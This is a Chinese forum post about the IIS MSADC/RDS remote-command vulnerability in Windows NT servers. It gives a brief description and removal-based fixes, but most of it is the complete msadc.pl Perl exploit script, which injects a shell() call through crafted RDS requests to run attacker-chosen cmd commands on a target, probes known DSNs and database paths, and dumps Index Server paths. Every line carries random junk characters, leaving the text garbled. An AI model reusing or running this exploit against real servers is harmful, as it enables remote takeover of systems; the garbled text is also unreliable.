社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 167448阅读
  • 1回复

IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) D6e?J.  
;dZZOocV1  
涉及程序: 7mi=Xa:U  
Microsoft NT server -u~:Gd*l0  
?S=y>b9R  
描述: :+9. v  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 k "7,-0gz  
d/oD]aAEr  
详细: "S{GjOlEDF  
如果你没有时间读详细内容的话,就删除: g1F9IB42@<  
c:\Program Files\Common Files\System\Msadc\msadcs.dll nw*a?$S3  
有关的安全问题就没有了。 {s*1QBM$\Z  
^oDs*F  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 4$2HO `@uN  
 wDiq~!  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 0#yH<h$   
关于利用ODBC远程漏洞的描述,请参看: SI6?b1;-:F  
m|?1HCRXRI  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm V0,5c`H c  
/;q 3Q#  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 ;H%'K  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp m>[G-~0?kI  
er 1zSTkg  
这里不再论述。 `3K."/N6c  
B "4A1!  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: "3 2Ua3m:G  
WQw11uMt@q  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset r#ADxqkaV  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! %|/\Qu  
d\A7}_r*x  
~Odclrs  
#将下面这段保存为txt文件,然后: "perl -x 文件名" P%[ { 'u  
BB1_EdoG  
#!perl 2^5RQl/  
# s&WE'  
# MSADC/RDS 'usage' (aka exploit) script Vfq-H/+  
# 2}P{7flDY  
# by rain.forest.puppy g(jn /Cx  
# 6eB~S)Ko  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me V.Lk70 \  
# beta test and find errors! `tHF}  
b4KNIP7E  
use Socket; use Getopt::Std; 0lqh;/  
getopts("e:vd:h:XR", \%args); /NPx9cLW^  
fWg 3gRI  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; 5``usn/&Kj  
vsA/iH.  
if (!defined $args{h} && !defined $args{R}) { 5D^2 +`$/  
print qq~ W1M Bk[:Q  
Usage: msadc.pl -h <host> { -d <delay> -X -v } 4ee-tKH  
-h <host> = host you want to scan (ip or domain) :[_k .1-+  
-d <seconds> = delay between calls, default 1 second -DZ5nx  
-X = dump Index Server path table, if available tnb'\}Vn  
-v = verbose E7SmiD@)  
-e = external dictionary file for step 5 6]!Jo)BF  
:W-xsw  
Or a -R will resume a command session [8DPZU@  
0"sZP\<p  
~; exit;} 54]UfmT%I  
.UK`~17!  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; iy8Ln,4z(  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} >"zN`  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} 7|ACJv6%9  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); lYm00v6y  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} ^#h ;bX#  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } Yv{$XI7  
Aba%QQQ  
if (!defined $args{R}){ $ret = &has_msadc; yi-)4#YN  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} aNICSxDN  
\H PB{ ;  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" 70R_O&f-k  
. "cmd /c "; 7}mr C@[i  
$in=<STDIN>; chomp $in; o|s|Wm x>u  
$command="cmd /c " . $in ; ncR]@8  
Q`=d5Uvw  
if (defined $args{R}) {&load; exit;} \$,;@H5I^  
|mw3v>  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; oBPm^ob4  
&try_btcustmr; >T14 J'\  
y]k{u\2A  
print "\nStep 2: Trying to make our own DSN..."; ,}^;q58  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; *'@T+$3s  
? a*yK8S  
print "\nStep 3: Trying known DSNs..."; @C~gU@F  
&known_dsn; +=kz".$  
``h* A  
print "\nStep 4: Trying known .mdbs..."; \gir  
&known_mdb; Jjx1`S*i  
'_n$xfH  
if (defined $args{e}){ 0e'@Xo2e  
print "\nStep 5: Trying dictionary of DSN names..."; *M~BN}.  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } ;T!ZO@1X  
Z7MGBwP(  
print "Sorry Charley...maybe next time?\n"; 0n?^I>j  
exit; +'g~3A-G  
|)ALJJ=+  
############################################################################## 3qp\jh=FE  
^7`gf  
sub sendraw { # ripped and modded from whisker p" Di;3!y!  
sleep($delay); # it's a DoS on the server! At least on mine... .Jc<Gg  
my ($pstr)=@_; )c0Dofhg  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || phcYQqR  
die("Socket problems\n"); :RXzqC  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?[X^'zz}  
select(S); $|=1; 9iK%@k  
print $pstr; my @in=<S>; 5.U|CL  
select(STDOUT); close(S); 0*/[z~Z-1  
return @in; QyEoWKu;  
} else { die("Can't connect...\n"); }} pc](  
+39p5O!  
############################################################################## $)j f  
l.SoiFDd  
sub make_header { # make the HTTP request D'_ w *  
my $msadc=<<EOT 7}fT7tsN  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 _GL:4  
User-Agent: ACTIVEDATA jQ P2[\  
Host: $ip K@!Gs'Op  
Content-Length: $clen 8/ CK(G  
Connection: Keep-Alive @B>pPCowa  
/onZ14  
ADCClientVersion:01.06 mv`ND&  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 /Nd`eUn  
ShU1RQk  
--!ADM!ROX!YOUR!WORLD! 5k<0>6;XH  
Content-Type: application/x-varg pJ@D}2u(  
Content-Length: $reqlen Cl!qdh6  
|)YN"nqg  
EOT YGCBDH%6  
; $msadc=~s/\n/\r\n/g; ff 2`4_ ,|  
return $msadc;} R\lUE,o]<q  
SGLU7*sfd  
############################################################################## ,D{D QJ(B  
-j}zr yG-  
sub make_req { # make the RDS request z7O$o/E-*  
my ($switch, $p1, $p2)=@_; s>e)\9c  
my $req=""; my $t1, $t2, $query, $dsn; -pm%F8{T]  
>+ku:<Hw%.  
if ($switch==1){ # this is the btcustmr.mdb query G@6F<L~$1  
$query="Select * from Customers where City=" . make_shell(); {} Zqaf  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . ;v%f +  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} n4Q ^   
yH',vC.  
elsif ($switch==2){ # this is general make table query 03dmHg.E!E  
$query="create table AZZ (B int, C varchar(10))"; &^K,"a{  
$dsn="$p1";} t`"pn <  
7^]KQ2fF 8  
elsif ($switch==3){ # this is general exploit table query & ]1gx#  
$query="select * from AZZ where C=" . make_shell(); 2Afg.-7EP  
$dsn="$p1";} LVBE+{P\5?  
)SWLX\b  
elsif ($switch==4){ # attempt to hork file info from index server w@hbY:Z9z  
$query="select path from scope()"; K\^S>dV  
$dsn="Provider=MSIDXS;";} d`J~w/] `\  
5P![fX|5  
elsif ($switch==5){ # bad query Qis/'9a  
$query="select"; 1c*XmMB  
$dsn="$p1";} N|  
cFloaCz  
$t1= make_unicode($query); 9<1dps=c  
$t2= make_unicode($dsn); )s>R~7  
$req = "\x02\x00\x03\x00"; *f3? 0w  
$req.= "\x08\x00" . pack ("S1", length($t1)); 3 V0^v  
$req.= "\x00\x00" . $t1 ; ')KuLVE}S  
$req.= "\x08\x00" . pack ("S1", length($t2)); tE;c>=>t  
$req.= "\x00\x00" . $t2 ; g3vR\?c`  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; l !:kwF  
return $req;} {1J4Q[N9m  
#b$qtp!,  
############################################################################## 5/m}v'S%  
18G=j@k7  
sub make_shell { # this makes the shell() statement RfzYoBN  
return "'|shell(\"$command\")|'";} 9%^O-8!  
AkVgFQg" n  
############################################################################## _'Hw` 0}s  
gH|:=vfYUR  
sub make_unicode { # quick little function to convert to unicode 7Nlk:f)*-  
my ($in)=@_; my $out; >AUzsQ  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } {Z^q?~zC[  
return $out;} XWq@47FR  
$'93:9tg  
############################################################################## F0/!+ho  
t`E e/L%  
sub rdo_success { # checks for RDO return success (this is kludge) ?=V;5H.  
my (@in) = @_; my $base=content_start(@in); JO&L1<B{v  
if($in[$base]=~/multipart\/mixed/){ K4Hu0  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} .._UI2MA  
return 0;} V ^hR%*i'  
O{ |Ug~  
############################################################################## #= @?)\~  
dc,qQM  
sub make_dsn { # this makes a DSN for us b-HELS`nX  
my @drives=("c","d","e","f"); #,Cz+ k*4  
print "\nMaking DSN: "; sTw+.m{F  
foreach $drive (@drives) { ^_\%?K_u  
print "$drive: "; :HkX sZ  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . "*ww>0[  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" QeG3X+  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ,d$D0w  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; #.@-ng6C  
return 0 if $2 eq "404"; # not found/doesn't exist \U.js-  
if($2 eq "200") { M&` b\la  
foreach $line (@results) { tYMPqP,1.  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} 1}3tpO;  
} return 0;} }mOo=)C!  
gvoYyO#cm  
############################################################################## WGHf?G/s  
. pyNET  
sub verify_exists { #;/ob-  
my ($page)=@_; ,#K{+1z:  
my @results=sendraw("GET $page HTTP/1.0\n\n"); d VyT`  
return $results[0];} 3U%kf<m=  
U}DLzn|w  
############################################################################## K#xL-   
2$FH+wuW  
sub try_btcustmr { e$o]f"(  
my @drives=("c","d","e","f"); `j!XWh*$  
my @dirs=("winnt","winnt35","winnt351","win","windows"); CO`?M,x>  
w[OUGn'  
foreach $dir (@dirs) { @z>DJ>htN  
print "$dir -> "; # fun status so you can see progress #O^%u,mJj  
foreach $drive (@drives) { ~9n30j%]s  
print "$drive: "; # ditto L"}tJM.d  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; H7(D8.y )  
$reqlenlen=length( "$reqlen" ); . :~E.b  
$clen= 206 + $reqlenlen + $reqlen; z"f+;1  
[I`:%y  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); -9(pOwN |m  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} kbZpi`w  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} ]Wtg.y6;  
I %|;M%B  
############################################################################## lESv  
^o4](l  
sub odbc_error { &1ZUMc  
my (@in)=@_; my $base; 'PWA  
my $base = content_start(@in); @S1Z "%S  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this NiD_v  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; 'zOB!QqA`v  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;  Lr0:y o  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; k5)a|  
return $in[$base+4].$in[$base+5].$in[$base+6];} _fS4a134R  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; ( @V_47o  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . |!{ Y:f;  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} `N8t2yF  
*auT_*  
############################################################################## (#8B  
vQ,<Ke+d  
sub verbose { :Q8*MJ3&V  
my ($in)=@_; KkCsQ~po  
return if !$verbose; wlgR = l  
print STDOUT "\n$in\n";} D!&]jkUN  
F ESl#.}  
############################################################################## /h8100  
r+;k(HMY}[  
sub save { iP6?[pl8  
my ($p1, $p2, $p3, $p4)=@_; NuW6~PV  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; N9 h|_ax  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ]A%~bQ7  
close OUT;} *P8CzF^>\&  
/}9)ZY Mx  
############################################################################## ~ +h4i'  
G|u)eW  
sub load { [9G=x[  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; "RgP!  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); AkCy C1  
@p=<IN>; close(IN); !,]2.:{0z  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); c#TV2@   
$target= inet_aton($ip) || die("inet_aton problems"); oX7_v_:J\R  
print "Resuming to $ip ..."; oRZe?h^r#  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; 5+yy:#J]  
if($p[1]==1) { '}IGV`c  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; E;wT4 T=  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; ZsSW{ffZ77  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); FmSE ]et  
if (rdo_success(@results)){print "Success!\n";} *Qyu QF  
else { print "failed\n"; verbose(odbc_error(@results));}} &4ndi=.#rg  
elsif ($p[1]==3){ b[<L l%K  
if(run_query("$p[3]")){ /B)2L]6p  
print "Success!\n";} else { print "failed\n"; }} Mfnfp{.)  
elsif ($p[1]==4){ %+/Dv  
if(run_query($drvst . "$p[3]")){ r+k&W  
print "Success!\n"; } else { print "failed\n"; }} 'x5p ?m  
exit;} bo1J'pU  
sf/m@425  
############################################################################## TbLU[(m-n  
%7QSBL  
sub create_table { m_.9 PZ  
my ($in)=@_; L/In~' *-  
$reqlen=length( make_req(2,$in,"") ) - 28; En)Ptz#0  
$reqlenlen=length( "$reqlen" ); 0!oqP1  
$clen= 206 + $reqlenlen + $reqlen; [w!T  
my @results=sendraw(make_header() . make_req(2,$in,"")); 2|ej~}Y  
return 1 if rdo_success(@results); q"EW*k+ )  
my $temp= odbc_error(@results); verbose($temp); X}Om)WCr  
return 1 if $temp=~/Table 'AZZ' already exists/; n.t5:SW  
return 0;} Ve${g`7&  
a,(nf1@5  
############################################################################## 2qojU%fiH  
#%w+PL:*O  
sub known_dsn { maeQ'Sv_&  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go \iaZV.#f  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",  A@9\Qd  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", <v/aquLN  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); :,fT^izew  
Zu2`IzrG#  
foreach $dSn (@dsns) { wE"lk  
print "."; MV2$0  
next if (!is_access("DSN=$dSn")); |}UA=? Xl  
if(create_table("DSN=$dSn")){ KDP"z  
print "$dSn successful\n"; iJj!-a:z.  
if(run_query("DSN=$dSn")){ R!yh0y}Z  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { )_\;l%&  
print "Something's borked. Use verbose next time\n";}}} print "\n";} W?"l6s  
Pm%5c\ef  
############################################################################## P (DEf(  
![$`Ivro`  
sub is_access { [+QyKyhTO  
my ($in)=@_; QO0@Ax\b  
$reqlen=length( make_req(5,$in,"") ) - 28; <-fvYer  
$reqlenlen=length( "$reqlen" ); BMI`YGjY1  
$clen= 206 + $reqlenlen + $reqlen; Ghc U ~  
my @results=sendraw(make_header() . make_req(5,$in,"")); %?, 7!|Ls  
my $temp= odbc_error(@results); ZjY,k  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); ^$}O?y7O  
return 0;} k`&FyN^)  
:J_UXtx  
############################################################################## #Hz9@H  
zA}JVB  
sub run_query { v*0J6<  
my ($in)=@_; 1zCu1'Wv  
$reqlen=length( make_req(3,$in,"") ) - 28; -#mN/  
$reqlenlen=length( "$reqlen" ); \4^zY'  
$clen= 206 + $reqlenlen + $reqlen; 8)> T>-os  
my @results=sendraw(make_header() . make_req(3,$in,"")); FPkk\[EU  
return 1 if rdo_success(@results); x2a ?ugQ  
my $temp= odbc_error(@results); verbose($temp); S=lCzL;j"  
return 0;} [PB73q8  
IZm6.F  
############################################################################## `"PHhCG+z  
L)&^Pu  
sub known_mdb { Z,/^lg c,  
my @drives=("c","d","e","f","g"); ~cyKPg6  
my @dirs=("winnt","winnt35","winnt351","win","windows");  ^#C+l  
my $dir, $drive, $mdb; U;TS7A3  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; wN10Drc   
SvQ|SKE':  
# this is sparse, because I don't know of many SjpCf8Z(  
my @sysmdbs=( "\\catroot\\icatalog.mdb", {[`(o 0@(  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", (+;D~iN`k  
"\\system32\\certmdb.mdb", !.^x^OK%y  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% \y%"tJ~N{  
he/rt#  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", EpKZ.lCU  
"\\cfusion\\cfapps\\forums\\forums_.mdb", #d3_7rI0V  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 0^\H$An*k  
"\\cfusion\\cfapps\\security\\realm_.mdb", e$P^},0/  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", TB?'<hD:  
"\\cfusion\\database\\cfexamples.mdb", SXYwhID=  
"\\cfusion\\database\\cfsnippets.mdb", &WLN   
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", R9^vAS4t[O  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",  maHz3:  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 9H;Os:"\|  
"\\cfusion\\database\\smpolicy.mdb", W1<*9O  
"\\cfusion\\database\cypress.mdb", n0gjcDHQ  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", fZr{x$]N0  
"\\website\\cgi-win\\dbsample.mdb", SP<Sv8Okj  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", >yLDU_P)  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" TTl9xs,nO  
); #these are just }~=<7|N.  
foreach $drive (@drives) { f4*(rX  
foreach $dir (@dirs){ =liyd74%`  
foreach $mdb (@sysmdbs) { PX_9i@ZG  
print "."; H)E,([   
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ H_3Wx fO  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; r>|S4O  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ #o[n.  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; tDah@_  
} else { print "Something's borked. Use verbose next time\n"; }}}}} S LeA,T  
-6uLww=w4  
foreach $drive (@drives) { 9<y{:{i  
foreach $mdb (@mdbs) { l l*g *zt3  
print "."; Lg,ObVt!  
if(create_table($drv . $drive . $dir . $mdb)){ jg'"?KSU~  
print "\n" . $drive . $dir . $mdb . " successful\n"; f. >[ J  
if(run_query($drv . $drive . $dir . $mdb)){ frm[<-~w0  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; Yc-5Mr8*,  
} else { print "Something's borked. Use verbose next time\n"; }}}} E&z^E2  
} FZ<6kk4  
ib 'l:GM  
############################################################################## 2-qWR<E  
42hG }Gt  
sub hork_idx { *y|w9 r p  
print "\nAttempting to dump Index Server tables...\n"; c)N_"#&  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; ZVJ6 {DS/  
$reqlen=length( make_req(4,"","") ) - 28; "QS(4yw?jg  
$reqlenlen=length( "$reqlen" ); 9}2/ko  
$clen= 206 + $reqlenlen + $reqlen; 3AR'Zvn  
my @results=sendraw2(make_header() . make_req(4,"","")); Gw-{`<CxE  
if (rdo_success(@results)){ )BI%cD  
my $max=@results; my $c; my %d; .Jg<H %%f  
for($c=19; $c<$max; $c++){ j|o/>^ 'e  
$results[$c]=~s/\x00//g; ? eI)m  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; N4-Y0BO  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; .Wp(@l'Hd  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; dc~vQDNw[X  
$d{"$1$2"}="";} K%BFR,)g  
foreach $c (keys %d){ print "$c\n"; } ^/Yk*Ny  
} else {print "Index server doesn't seem to be installed.\n"; }} ^t<L  
rfQs 7S;G  
############################################################################## g0a!auWM  
s nxwe  
sub dsn_dict { v,N!cp1  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); NcwUK\  
while(<IN>){ XPq`; <G  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; oa7 N6  
next if (!is_access("DSN=$dSn")); y6sY?uu  
if(create_table("DSN=$dSn")){ Yz0HB EA  
print "$dSn successful\n"; -:L7iOzgD  
if(run_query("DSN=$dSn")){ yGWl8\,j0  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { JUDZ_cGr  
print "Something's borked. Use verbose next time\n";}}} j!Ys/ D  
print "\n"; close(IN);} #z.\pd  
#=Xa(<t  
############################################################################## ujX\^c  
2++$ Ql/  
sub sendraw2 { # ripped and modded from whisker >dF #1  
sleep($delay); # it's a DoS on the server! At least on mine... {i3x\|  
my ($pstr)=@_; <b\.d^=B  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || GpO@1 C/  
die("Socket problems\n"); !f/^1k}SR  
if(connect(S,pack "SnA4x8",2,80,$target)){ >tL" 8@z9  
print "Connected. Getting data"; m|+zMf&  
open(OUT,">raw.out"); my @in; b+ZaZ\-y |  
select(S); $|=1; print $pstr; iK'A m.o+  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} ka R55  
close(OUT); select(STDOUT); close(S); return @in; WRAv>s9  
} else { die("Can't connect...\n"); }} 6OPNP0@r  
yfFe%8w_vw  
############################################################################## .1J`>T?=Q  
[tt_>O  
sub content_start { # this will take in the server headers l<sWM$ez  
my (@in)=@_; my $c; R~TG5^(  
for ($c=1;$c<500;$c++) { sZqi)lo-s  
if($in[$c] =~/^\x0d\x0a/){ G~*R6x2g  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } YWi Y[  
else { return $c+1; }}} CSm(yB{|pC  
return -1;} # it should never get here actually \4 t;{_  
JL:B4 f%}B  
############################################################################## yFFNzw{  
95D(0qv  
sub funky { x5U;i  
my (@in)=@_; my $error=odbc_error(@in); ,(c'h:@M  
if($error=~/ADO could not find the specified provider/){ l~kxK.Ru  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; ^MT20pL  
exit;} Dn~t_n  
if($error=~/A Handler is required/){ P8CIKoKCV  
print "\nServer has custom handler filters (they most likely are patched)\n"; a,M/i&.e`  
exit;} .J5or  
if($error=~/specified Handler has denied Access/){ L`^ v"W()  
print "\nServer has custom handler filters (they most likely are patched)\n"; 1 EV0Y]T1  
exit;}} 2@ZuH^qhk  
F20%r 0  
############################################################################## 1&kf2\S  
xxdxRy9/  
sub has_msadc { 1tpt433  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); z5[Qh<M  
my $base=content_start(@results); 2fUz}w (  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); ,?GAFg K:  
return 0;} #: ,X^"w3  
<lSo7NkR  
######################## DB] ]6  
(G"/C7q  
KiNluGNt  
解决方案: L=<,+m[!  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll u C`)?f*I  
2、移除web 目录: /msadc
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-06-30
很老的一篇文章 FCYZ9L5uF  
$4TawFf"nc  
拿出来充数 哈哈
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
10+5=?,请输入中文答案:十五